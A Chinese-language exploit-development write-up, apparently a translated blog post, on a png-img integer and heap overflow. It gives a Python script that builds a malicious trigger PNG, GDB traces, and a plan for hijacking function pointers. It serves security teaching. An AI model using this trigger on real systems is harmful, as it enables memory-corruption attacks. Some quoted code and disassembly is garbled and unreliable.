在本文中,我們將深入地探討,在通過(guò)外部函數(shù)接口(Foreign Function Interface,F(xiàn)FI)將基于C/C++的庫(kù)“粘合”到解釋語(yǔ)言的過(guò)程中,安全漏洞是如何產(chǎn)生的。
從攻擊者角度看問(wèn)題
從攻擊者的角度來(lái)看,了解我們可以控制什么,如何控制,以及我們可以影響什么,對(duì)于實(shí)現(xiàn)bug的可利用性至關(guān)重要。此外,可利用性還受到目標(biāo)代碼實(shí)際使用方式和地點(diǎn)的影響。
如果我們處理的是一個(gè)庫(kù)代碼中的bug,而這個(gè)庫(kù)可能被用在更大的軟件中,這就為我們作為攻擊者提供了各種額外的交互機(jī)會(huì)和影響力。此外,觸發(fā)bug的操作環(huán)境也非常重要。操作系統(tǒng)、系統(tǒng)的硬件以及它們的軟件生態(tài)系統(tǒng)都在各種配置中啟用了不同級(jí)別的系統(tǒng)級(jí)緩解措施。在一個(gè)操作系統(tǒng)上可以通過(guò)緩解措施阻止的漏洞可能在另一個(gè)操作系統(tǒng)上完全可以被利用。
在png-img案例中,假設(shè)我們面對(duì)的是最基本的攻擊環(huán)境:一個(gè)單一的Javascript文件,需要png-img包,然后用它來(lái)加載攻擊者提供的PNG文件。
var fs = require('fs');
PngImg = require('png-img');
var buf = fs.readFileSync('/home/anticomputer/trigger.png');
img = new PngImg(buf);
大多數(shù)現(xiàn)代內(nèi)存破壞攻擊都需要對(duì)目標(biāo)進(jìn)程內(nèi)存布局有所了解。因?yàn)槲覀冋谥貙憙?nèi)存,所以知道它們?cè)谠純?nèi)存布局中的位置有助于我們構(gòu)造替代性的,但功能正常的內(nèi)存內(nèi)容,以供目標(biāo)進(jìn)程使用。
作為攻擊者,他們希望濫用這些新的內(nèi)存內(nèi)容來(lái)欺騙涉及它們的算法來(lái)執(zhí)行對(duì)他們有利的操作。通常來(lái)說(shuō),攻擊者的目標(biāo)是執(zhí)行任意代碼或命令,但攻擊者的目標(biāo)也可能是更深?yuàn)W的行為。例如,攻擊者也可能想要重寫身份驗(yàn)證標(biāo)志,削弱隨機(jī)數(shù)生成器,或以其他方式顛覆軟件中的安全關(guān)鍵邏輯。除此之外,即使只是讓一個(gè)進(jìn)程不可用,本身就可以成為目標(biāo),因?yàn)樗赡軐?dǎo)致意想不到的安全影響。
由于缺乏內(nèi)存布局緩解措施,我們可以對(duì)給定的目標(biāo)二進(jìn)制代碼及其相關(guān)的內(nèi)存布局進(jìn)行盲目的假設(shè),或者通過(guò)信息泄露來(lái)了解內(nèi)存布局。
信息泄露可以是簡(jiǎn)單的,例如通過(guò)其他的或重新設(shè)計(jì)的bug來(lái)泄漏內(nèi)存的內(nèi)容,也可以是復(fù)雜的,例如使用基于計(jì)時(shí)或崩潰的探測(cè)方法來(lái)確定某個(gè)特定庫(kù)的進(jìn)程內(nèi)存的某個(gè)部分可能存在的位置。需要注意的是,要想利用信息泄露來(lái)推進(jìn)漏洞利用過(guò)程,通常需要與目標(biāo)流程進(jìn)行反復(fù)交互。
由于在我們的single-shot場(chǎng)景中,我們將無(wú)法動(dòng)態(tài)地了解目標(biāo)進(jìn)程的內(nèi)存布局,因此,我們將不得不依靠運(yùn)氣和有根據(jù)的猜測(cè)相結(jié)合的方式,在觸發(fā)內(nèi)存破壞時(shí)判斷內(nèi)存中的位置信息。
首先,我們需要找出針對(duì)目標(biāo)節(jié)點(diǎn)二進(jìn)制文件必須處理的緩解措施。為此,我們可以使用GDB Enhanced Features(GEF)插件中提供的checksec命令。
我們可以看到,我們的目標(biāo)二進(jìn)制文件并非一個(gè)位置無(wú)關(guān)的可執(zhí)行文件(Position Independent Executable,PIE)。這意味著,在同一平臺(tái)上每次運(yùn)行這個(gè)特定的二進(jìn)制文件時(shí),Node可執(zhí)行文件的.text和.data段在內(nèi)存中的位置保持不變。這對(duì)我們的single-shot場(chǎng)景非常有幫助,因?yàn)檫@種知識(shí)給了我們一個(gè)進(jìn)入可執(zhí)行代碼和程序數(shù)據(jù)已知位置的鉤子。如果我們測(cè)試平臺(tái)上的Node二進(jìn)制文件被編譯成PIE,由于地址空間布局隨機(jī)化(ASLR)已經(jīng)推廣到了現(xiàn)代Linux上的PIE二進(jìn)制文件,所以,在遠(yuǎn)程的single-shot場(chǎng)景中對(duì)這個(gè)漏洞的實(shí)際利用會(huì)受到很大的阻礙。
如果我們沒(méi)有類似GEF的checksec這樣的工具可用,我們也可以直接使用file命令。由于PIE二進(jìn)制文件就是類型為ET_DYN(共享對(duì)象文件)的Elf可執(zhí)行文件,所以,它們將會(huì)顯示為共享庫(kù),而非PIE二進(jìn)制文件則是ET_EXEC(可執(zhí)行文件)類型。例如,如果我們將非PIE Node二進(jìn)制文件與我們測(cè)試平臺(tái)(x86_64 Ubuntu 18.04.4LTS)上的PIE bash二進(jìn)制文件進(jìn)行比較,則需要注意以下幾點(diǎn):
anticomputer@dc1:~$ file /bin/bash
/bin/bash: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=12f73d7a8e226c663034529c8dd20efec22dde54, stripped
anticomputer@dc1:~$ file /usr/bin/node
/usr/bin/node: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.18, BuildID[sha1]=ee756495e98cf6163ba85e13b656883fe0066062, with debug_info, not stripped進(jìn)攻計(jì)劃
現(xiàn)在,我們知道了相應(yīng)的操作環(huán)境,以及在嘗試?yán)寐┒磿r(shí)可能知道哪些內(nèi)存內(nèi)容,這樣的話,我們可以開(kāi)始決定我們要用堆內(nèi)存控制技術(shù)來(lái)顛覆哪些算法了。
在這種情況下,會(huì)想到三個(gè)潛在的選擇,從特定于應(yīng)用程序到特定于平臺(tái)的范圍,具體如下所示:
我們可以攻擊在被破壞的堆內(nèi)存上運(yùn)行的png-img和libpng邏輯
我們可以攻擊在被破壞的堆內(nèi)存上運(yùn)行的Node.js解釋器邏輯
我們可以攻擊在被破壞的堆內(nèi)存上運(yùn)行的系統(tǒng)庫(kù)
對(duì)我們而言,這三個(gè)選項(xiàng)中哪一個(gè)最有意義,主要取決于我們?cè)敢鉃槁┒蠢脟L試投入多少時(shí)間和精力。但是,就概念驗(yàn)證級(jí)別的工作來(lái)說(shuō),我們需要采取最便捷的漏洞利用途徑。為了確定哪條路徑,我們必須跟該漏洞打交道,并進(jìn)行一些動(dòng)態(tài)分析。
構(gòu)造觸發(fā)器
到目前為止,我們已經(jīng)對(duì)很多事情進(jìn)行了理論上的探討。例如,我們探討了攻擊者判斷某個(gè)bug是否值得利用時(shí),會(huì)考慮哪些因素。既然我們已經(jīng)決定要嘗試?yán)胮ng-img bug,那么是時(shí)候開(kāi)始鼓搗該bug本身了。
首先,讓我們歸納出這個(gè)bug的基本觸發(fā)條件:我們要?jiǎng)?chuàng)建一個(gè)PNG文件,用于觸發(fā)整數(shù)溢出,從而導(dǎo)致data_數(shù)組內(nèi)存分配不足,隨后用我們精心制作的PNG行數(shù)據(jù)覆蓋堆內(nèi)存。此外,在libpng的PNG分塊解析過(guò)程中,我們還必須通過(guò)一些校驗(yàn)和檢查,這樣,我們的惡意PNG數(shù)據(jù)才能被順利接受,以進(jìn)行后續(xù)處理。
PNG文件由一個(gè)PNG簽名和一系列PNG分塊組成。這些分塊可以進(jìn)一步分解為:一個(gè)4字節(jié)的分塊長(zhǎng)度、一個(gè)4字節(jié)的分塊類型、一個(gè)可變長(zhǎng)度的分塊數(shù)據(jù),以及一個(gè)4字節(jié)的分塊類型和數(shù)據(jù)的CRC校驗(yàn)和。PNG中的第一個(gè)分塊是IHDR分塊,其中規(guī)定了圖像的寬度和高度。
回顧易受攻擊的png-img綁定代碼,我們可以發(fā)現(xiàn)圖像高度是我們需要控制的變量之一,它用于觸發(fā)整數(shù)溢出。另一個(gè)變量是一行的字節(jié)數(shù)。讓我們來(lái)看看png-img,以及隨后的libpng是如何從我們提供的PNG文件中填充這些數(shù)據(jù)的。
png-img中加載PNG數(shù)據(jù)的主要入口點(diǎn)是PngImg::PngImg構(gòu)造函數(shù),其內(nèi)容如下所示:
PngImg::PngImg(const char* buf, const size_t bufLen)
: data_(nullptr)
{
memset(&info_, 0, sizeof(info_));
PngReadStruct rs;
if(rs.Valid()) {
BufPtr bufPtr = {buf, bufLen};
png_set_read_fn(rs.pngPtr, (png_voidp)&bufPtr, readFromBuf);
[1]
ReadInfo_(rs);
InitStorage_();
png_read_image(rs.pngPtr, &rowPtrs_[0]);
}
}
在[1]處,調(diào)用了ReadInfo_,它實(shí)際上是一個(gè)通過(guò)libpng的png_read_info函數(shù)填充大多數(shù)PNG信息的函數(shù)。
void PngImg::ReadInfo_(PngReadStruct& rs) {
png_read_info(rs.pngPtr, rs.infoPtr);
info_.width = png_get_image_width(rs.pngPtr, rs.infoPtr);
info_.height = png_get_image_height(rs.pngPtr, rs.infoPtr);
info_.bit_depth = png_get_bit_depth(rs.pngPtr, rs.infoPtr);
info_.color_type = png_get_color_type(rs.pngPtr, rs.infoPtr);
info_.interlace_type = png_get_interlace_type(rs.pngPtr, rs.infoPtr);
info_.compression_type = png_get_compression_type(rs.pngPtr, rs.infoPtr);
info_.filter_type = png_get_filter_type(rs.pngPtr, rs.infoPtr);
info_.rowbytes = png_get_rowbytes(rs.pngPtr, rs.infoPtr);
info_info_.pxlsize = info_.rowbytes / info_.width;
}
png_read_info將遍歷所有PNG分塊,提取與PNG圖像相關(guān)的信息,處理IHDR分塊,并調(diào)用png_handle_IHDR。
/* Read and check the IDHR chunk */
void /* PRIVATE */
png_handle_IHDR(png_structrp png_ptr, png_inforp info_ptr, png_uint_32 length)
{
png_byte buf[13];
png_uint_32 width, height;
int bit_depth, color_type, compression_type, filter_type;
int interlace_type;
png_debug(1, "in png_handle_IHDR");
if (png_ptr->mode & PNG_HAVE_IHDR)
png_chunk_error(png_ptr, "out of place");
/* Check the length */
if (length != 13)
png_chunk_error(png_ptr, "invalid");
png_ptr->mode |= PNG_HAVE_IHDR;
png_crc_read(png_ptr, buf, 13);
png_crc_finish(png_ptr, 0);
[1]
width = png_get_uint_31(png_ptr, buf);
height = png_get_uint_31(png_ptr, buf + 4);
bit_depth = buf[8];
color_type = buf[9];
compression_type = buf[10];
filter_type = buf[11];
interlace_type = buf[12];
/* Set internal variables */
png_ptr->widthwidth = width;
png_ptr->heightheight = height;
png_ptr->bit_depth = (png_byte)bit_depth;
png_ptr->interlaced = (png_byte)interlace_type;
png_ptr->color_type = (png_byte)color_type;
#ifdef PNG_MNG_FEATURES_SUPPORTED
png_ptr->filter_type = (png_byte)filter_type;
#endif
png_ptr->compression_type = (png_byte)compression_type;
/* Find number of channels */
switch (png_ptr->color_type)
{
default: /* invalid, png_set_IHDR calls png_error */
case PNG_COLOR_TYPE_GRAY:
case PNG_COLOR_TYPE_PALETTE:
png_ptr->channels = 1;
break;
case PNG_COLOR_TYPE_RGB:
png_ptr->channels = 3;
break;
case PNG_COLOR_TYPE_GRAY_ALPHA:
png_ptr->channels = 2;
break;
case PNG_COLOR_TYPE_RGB_ALPHA:
png_ptr->channels = 4;
break;
}
/* Set up other useful info */
png_ptr->pixel_depth = (png_byte)(png_ptr->bit_depth *
png_ptr->channels);
[2]
png_ptr->rowbytes = PNG_ROWBYTES(png_ptr->pixel_depth, png_ptr->width);
png_debug1(3, "bit_depth = %d", png_ptr->bit_depth);
png_debug1(3, "channels = %d", png_ptr->channels);
png_debug1(3, "rowbytes = %lu", (unsigned long)png_ptr->rowbytes);
png_set_IHDR(png_ptr, info_ptr, width, height, bit_depth,
color_type, interlace_type, compression_type, filter_type);
}
在[1]處,我們看到代碼從IHDR分塊數(shù)據(jù)中提取寬度和高度(整數(shù));在[2]處,我們看到它通過(guò)PNG_ROWBYTES宏導(dǎo)出rowbytes值,這是根據(jù)單個(gè)像素占用的位數(shù)將像素寬度簡(jiǎn)單轉(zhuǎn)換為表示行所需的字節(jié)數(shù)。例如,對(duì)于8位像素,16像素的寬度意味著16 rowbytes。
我們還注意到png_ptr結(jié)構(gòu)體的填充處理,這是一個(gè)基于堆的libpng數(shù)據(jù)結(jié)構(gòu),存放所有特定于PNG的數(shù)據(jù)。其中,包括各種函數(shù)指針,當(dāng)libpng對(duì)我們的PNG數(shù)據(jù)進(jìn)行操作時(shí),將調(diào)用這些指針。例如,當(dāng)libpng遇到錯(cuò)誤時(shí),它將調(diào)用png_error。
PNG_FUNCTION(void,PNGAPI
png_error,(png_const_structrp png_ptr, png_const_charp error_message),
PNG_NORETURN)
{
…
[1]
if (png_ptr != NULL && png_ptr->error_fn != NULL)
(*(png_ptr->error_fn))(png_constcast(png_structrp,png_ptr),
error_message);
/* If the custom handler doesn't exist, or if it returns,
use the default handler, which will not return. */
png_default_error(png_ptr, error_message);
}
在[1]處我們看到,如果png_ptr結(jié)構(gòu)體含有一個(gè)填充error_fn函數(shù)指針的字段,則調(diào)用該函數(shù)指針時(shí)會(huì)將png_ptr結(jié)構(gòu)體本身作為其第一個(gè)參數(shù)傳遞。
從攻擊者的角度來(lái)看,了解受影響的軟件如何與可能被我們控制的內(nèi)存進(jìn)行交互是很重要的。在這種情況下,我們已經(jīng)確定libpng使用了一個(gè)基于堆的結(jié)構(gòu)體,它包含了函數(shù)指針,當(dāng)錯(cuò)誤發(fā)生時(shí),這些指針會(huì)被調(diào)用。作為一種重定向執(zhí)行的方法,這在我們的漏洞利用過(guò)程中可能會(huì)很有幫助,所以我們要注意這一點(diǎn)。
如果我們的漏洞利用過(guò)程需要破壞png_ptr結(jié)構(gòu)體,那么它就是濫用應(yīng)用程序特定堆數(shù)據(jù)的一個(gè)好例子。
長(zhǎng)話短說(shuō),假設(shè)這里使用的是8位像素,我們可以控制直接通過(guò)圖像寬度得出的行字節(jié)值。因此,為了觸發(fā)png-img bug,我們只需要?jiǎng)?chuàng)建這樣一個(gè)有效的PNG文件:該文件包含的高度和寬度將觸發(fā)整數(shù)溢出,并提供足夠的行數(shù)據(jù)來(lái)覆蓋data_相鄰的堆內(nèi)存。
我們可以使用Python Pillow庫(kù)快速地進(jìn)行演示:
from PIL import Image
import os
import struct
import sys
import zlib
def patch(path, offset, data):
f = open(path, 'r+b')
f.seek(offset)
f.write(data)
f.close()
trigger = 'trigger.png'
row_data = b'A' * 0x100000
width = 0x100
height = int(len(row_data)/width)
# create a template PNG with a valid height for our row_data
im = Image.frombytes("L", (width, height), row_data)
im.save(trigger, "PNG")
# patch in a wrapping size to trigger overwrap and underallocation
patch(trigger, 20, struct.pack('>L', 0x01000001))
# fix up the IHDR CRC so png_read_info doesn't freak out
f = open(trigger, 'rb')
f.seek(16)
ihdr_data = f.read(13)
f.close()
crc = zlib.crc32(ihdr_data, zlib.crc32(b'IHDR') & 0xffffffff) & 0xffffffff
patch(trigger, 29, struct.pack('>L', crc))
當(dāng)我們使用png-img加載生成的png文件時(shí),將發(fā)生崩潰:
(gdb) r pngimg.js
Starting program: /usr/bin/node pngimg.js
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff6a79700 (LWP 60942)]
[New Thread 0x7ffff6278700 (LWP 60943)]
[New Thread 0x7ffff5a77700 (LWP 60944)]
[New Thread 0x7ffff5276700 (LWP 60945)]
[New Thread 0x7ffff4a75700 (LWP 60946)]
[New Thread 0x7ffff7ff6700 (LWP 60947)]
Thread 1 "node" received signal SIGSEGV, Segmentation fault.
0x00007ffff7de4e52 in _dl_fixup (l=0x271f0a0, reloc_arg=285) at ../elf/dl-runtime.c:69
69 ../elf/dl-runtime.c: No such file or directory.
(gdb) x/i$pc
=> 0x7ffff7de4e52
(gdb) bt
#0 0x00007ffff7de4e52 in _dl_fixup (l=0x271f0a0, reloc_arg=285) at ../elf/dl-runtime.c:69
#1 0x00007ffff7dec81a in _dl_runtime_resolve_xsavec () at ../sysdeps/x86_64/dl-trampoline.h:125
#2 0x00007ffff4032e63 in png_read_row () from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
#3 0x00007ffff4034899 in png_read_image ()
from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
#4 0x00007ffff40246d8 in PngImg::PngImg(char const*, unsigned long) ()
from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
#5 0x00007ffff401e8fa in PngImgAdapter::New(Nan::FunctionCallbackInfo
from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
#6 0x00007ffff401e56f in Nan::imp::FunctionCallbackWrapper ()
from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
...
(gdb) i r rax
rax 0x4141414141414141 4702111234474983745
(gdb)
我們看到,由于_dl_fixup對(duì)堆內(nèi)存進(jìn)行了操作,而這些堆內(nèi)存被我們的行數(shù)據(jù)覆蓋,而行數(shù)據(jù)由大量的A字節(jié)(0x41)組成,所以我們崩潰了。
由此看來(lái),有一些關(guān)鍵的進(jìn)程會(huì)涉及我們控制的堆數(shù)據(jù),于是就有了后來(lái)的崩潰。我們看到,在_dl_fixup中,崩潰前最后調(diào)用的libpng函數(shù)是png_read_row。
如果您沒(méi)忘記的話,我們最初的漏洞利用理論是,我們或許能夠破壞堆上的png_ptr數(shù)據(jù),然后觸發(fā)一個(gè)bug,導(dǎo)致libpng調(diào)用我們提供給png_error的函數(shù)指針值——當(dāng)它用完行數(shù)據(jù)時(shí)。但是,我們沒(méi)有在png_error中崩潰,而是在_dl_fixup中崩潰了。
那么這是怎么回事呢?好吧,首先讓我們確定png_read_row實(shí)際上是在嘗試調(diào)用png_error。如果我們看一下png_read_row的反匯編輸出,我們會(huì)注意到以下內(nèi)容:
0x00007ffff4032e45
0x00007ffff4032e4c
0x00007ffff4032e4f
0x00007ffff4032e54
0x00007ffff4032e5b
0x00007ffff4032e5e
0x00007ffff4032e63
0x00007ffff4032e6a
0x00007ffff4032e6d
我們注意到,png_error是通過(guò)過(guò)程鏈接表(procedure linkage table)調(diào)用的。其中,第一個(gè)參數(shù)是通過(guò)RDI寄存器傳遞的png_ptr結(jié)構(gòu)體指針,第二個(gè)參數(shù)是通過(guò)RSI寄存器傳遞的錯(cuò)誤消息。下面,讓我們?cè)趐ng_error@plt上設(shè)置斷點(diǎn),看看會(huì)發(fā)生什么。
(gdb) break png_error@plt
Breakpoint 1 at 0x7ffff401d980
(gdb) r pngimg.js
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /usr/bin/node pngimg.js
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff6a79700 (LWP 60976)]
[New Thread 0x7ffff6278700 (LWP 60977)]
[New Thread 0x7ffff5a77700 (LWP 60978)]
[New Thread 0x7ffff5276700 (LWP 60979)]
[New Thread 0x7ffff4a75700 (LWP 60980)]
[New Thread 0x7ffff7ff6700 (LWP 60981)]
Thread 1 "node" hit Breakpoint 1, 0x00007ffff401d980 in png_error@plt ()
from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
(gdb) bt
#0 0x00007ffff401d980 in png_error@plt ()
from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
#1 0x00007ffff4032e63 in png_read_row () from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
…
(gdb) x/s $rsi
0x7ffff4066820: "Invalid attempt to read row data"
(gdb) x/16x $rdi
0x271f580: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x271f588: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
(gdb)
到目前為止,一切都很好!我們確實(shí)在試圖用受控的png_ptr數(shù)據(jù)調(diào)用png_error。但我們?yōu)槭裁磿?huì)在_dl_fixup中崩潰,而不是獲得函數(shù)指針控制權(quán)呢?
好吧,png_error是一個(gè)致命的錯(cuò)誤處理程序。由于這是第一次調(diào)用png_error,由于惰性鏈接的緣故,它實(shí)際上還沒(méi)有被解析和重定位。所以發(fā)生的情況是,過(guò)程鏈接表(PLT)中的指令會(huì)嘗試跳轉(zhuǎn)到png_error的全局偏移表(GOT)跳轉(zhuǎn)槽條目中包含的地址,但這個(gè)地址正好指向png_error PLT條目,該條目中包含的指令負(fù)責(zé)調(diào)用動(dòng)態(tài)鏈接器的運(yùn)行時(shí)解析器。
我們可以單步跟蹤這個(gè)過(guò)程,以便更好地理解它。
Thread 1 "node" hit Breakpoint 1, 0x00007ffff401d980 in png_error@plt ()
from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
1: x/i $pc
=> 0x7ffff401d980
(gdb) x/gx 0x7ffff4274900
0x7ffff4274900: 0x00007ffff401d986
(gdb) si
0x00007ffff401d986 in png_error@plt () from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
1: x/i $pc
=> 0x7ffff401d986
(gdb) si
0x00007ffff401d98b in png_error@plt () from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
1: x/i $pc
=> 0x7ffff401d98b
(gdb) si
0x00007ffff401c7a0 in ?? () from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
1: x/i $pc
=> 0x7ffff401c7a0: pushq 0x257862(%rip) # 0x7ffff4274008
(gdb) si
0x00007ffff401c7a6 in ?? () from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
1: x/i $pc
=> 0x7ffff401c7a6: jmpq *0x257864(%rip) # 0x7ffff4274010
(gdb) si
_dl_runtime_resolve_xsavec () at ../sysdeps/x86_64/dl-trampoline.h:71
71 ../sysdeps/x86_64/dl-trampoline.h: No such file or directory.
1: x/i $pc
=> 0x7ffff7dec7a0
(gdb)
在這里,我們看到png_error@plt通過(guò)GOT跳轉(zhuǎn)槽跳回PLT的方式調(diào)用解析器。鏈接器負(fù)責(zé)解析和修復(fù)png_error的GOT跳轉(zhuǎn)槽,這樣以后的調(diào)用就會(huì)直接進(jìn)入png_error的正確位置。簡(jiǎn)單來(lái)說(shuō),這就是惰性鏈接(lazy linking)的工作原理。
png-img庫(kù)使用惰性鏈接進(jìn)行按需符號(hào)解析的事實(shí)也告訴我們,它只啟用了部分重定位只讀(RELRO)機(jī)制。還記得之前講過(guò)的對(duì)Node.js二進(jìn)制代碼進(jìn)行的安全檢查嗎?它已經(jīng)啟用了完全的RELRO機(jī)制。當(dāng)完全啟用RELRO時(shí),給定二進(jìn)制文件的GOT部分被標(biāo)記為只讀,以防止攻擊者替換GOT中的函數(shù)指針值。完全RELRO意味著所有動(dòng)態(tài)鏈接的函數(shù)都必須在二進(jìn)制文件加載時(shí)由鏈接器解析和重新定位,因?yàn)橐呀?jīng)無(wú)法在運(yùn)行時(shí)更新GOT。這是出于性能方面的考慮,因此,我們經(jīng)常會(huì)看到一些庫(kù)代碼因?yàn)檫@個(gè)原因而被編譯成部分RELRO。
所以總結(jié)一下,我們的base node二進(jìn)制文件并不是一個(gè)PIE,并已經(jīng)啟用了完全的RELRO,而我們的目標(biāo)png-img庫(kù)啟用了部分RELRO。我們的堆溢出破壞了動(dòng)態(tài)鏈接器用來(lái)解析png-img庫(kù)的函數(shù)的內(nèi)存,而且我們還覆蓋了png-img捆綁的libpng代碼使用的png_ptr應(yīng)用的特定數(shù)據(jù)。我們注意到,png_ptr是作為第一個(gè)參數(shù)傳遞給這個(gè)尚未解析的png_error函數(shù)的。
到目前為止,有兩條明顯的漏洞利用途徑。我們可以嘗試觸發(fā)獲取鏈接器數(shù)據(jù)的堆布局,并執(zhí)行劫持PNG_PTR函數(shù)指針的原始計(jì)劃,也可以嘗試破壞動(dòng)態(tài)鏈接器解析器邏輯。
這就是事情變得有些不太確定的地方。我們的堆布局控制是基于我們提供給png-img的靜態(tài)PNG文件的。我們可以將data_數(shù)組分配為圖像寬度的倍數(shù),因?yàn)樵撀┒丛试S我們使用圖像的寬度和高度來(lái)觸發(fā)一個(gè)32位的整數(shù)溢出。
我們?cè)賮?lái)看看存在漏洞的代碼。
void PngImg::InitStorage_() {
rowPtrs_.resize(info_.height, nullptr);
[1]
data_ = new png_byte[info_.height * info_.rowbytes];
[2]
for(size_t i = 0; i < info_.height; ++i) {
rowPtrs_[i] = data_ + i * info_.rowbytes;
}
}
在[1]處,data_將是通過(guò)整數(shù)溢出覆蓋的長(zhǎng)度,這意味著我們可以使用height的低位字使data_size成為rowbytes的任意倍數(shù)。例如,如果希望data_為8字節(jié),則可以將rowbytes設(shè)置為8,將height設(shè)置為((0xFFFFFFFF/8)+1)+1=0x20000001。
這意味著我們可以通過(guò)相當(dāng)精細(xì)的方式控制data_chunk的分配大小,從而合理地控制將其存放在堆中的位置。但是,在控制堆分配順序方面,我們沒(méi)有太多其他選擇。如果我們能夠更好的控制目標(biāo)進(jìn)程中內(nèi)存的分配和釋放的方式和時(shí)間,那么我們可能還可以考慮攻擊系統(tǒng)分配器(glibc)本身。但是,考慮到我們受到緩解機(jī)制的諸多限制,如果對(duì)分配器沒(méi)有足夠的影響力的話,我們的PoC代碼的可靠性將無(wú)法滿足我們的最低要求。我們可以探索的一條途徑是,利用其他PNG分塊,以在觸發(fā)內(nèi)存破壞之前將堆“按摩”到一種有利的狀態(tài)——如果我們的最初探索最終陷入僵局,我們將保留它作為一種選擇。
作為開(kāi)發(fā)人員,必須了解攻擊者將根據(jù)他們?cè)敢饣ㄔ诼┒蠢蒙厦娴馁Y源和時(shí)間來(lái)探索漏洞。即使對(duì)于相對(duì)簡(jiǎn)單的漏洞(例如png-img堆溢出),我們也看到有一個(gè)獨(dú)特的攻擊評(píng)估方案在起作用,它權(quán)衡了針對(duì)這里的代碼,各種攻擊策略的優(yōu)缺點(diǎn)。對(duì)于各種防御措施,要根據(jù)特定平臺(tái)和具體目標(biāo)這兩種角度進(jìn)行考察。
小結(jié)
在本文中,我們將深入地探討,在通過(guò)外部函數(shù)接口(Foreign Function Interface,F(xiàn)FI)將基于C/C++的庫(kù)“粘合”到解釋語(yǔ)言的過(guò)程中,安全漏洞是如何產(chǎn)生的。由于篇幅過(guò)長(zhǎng),我們將分為多篇進(jìn)行介紹,更多精彩內(nèi)容敬請(qǐng)期待!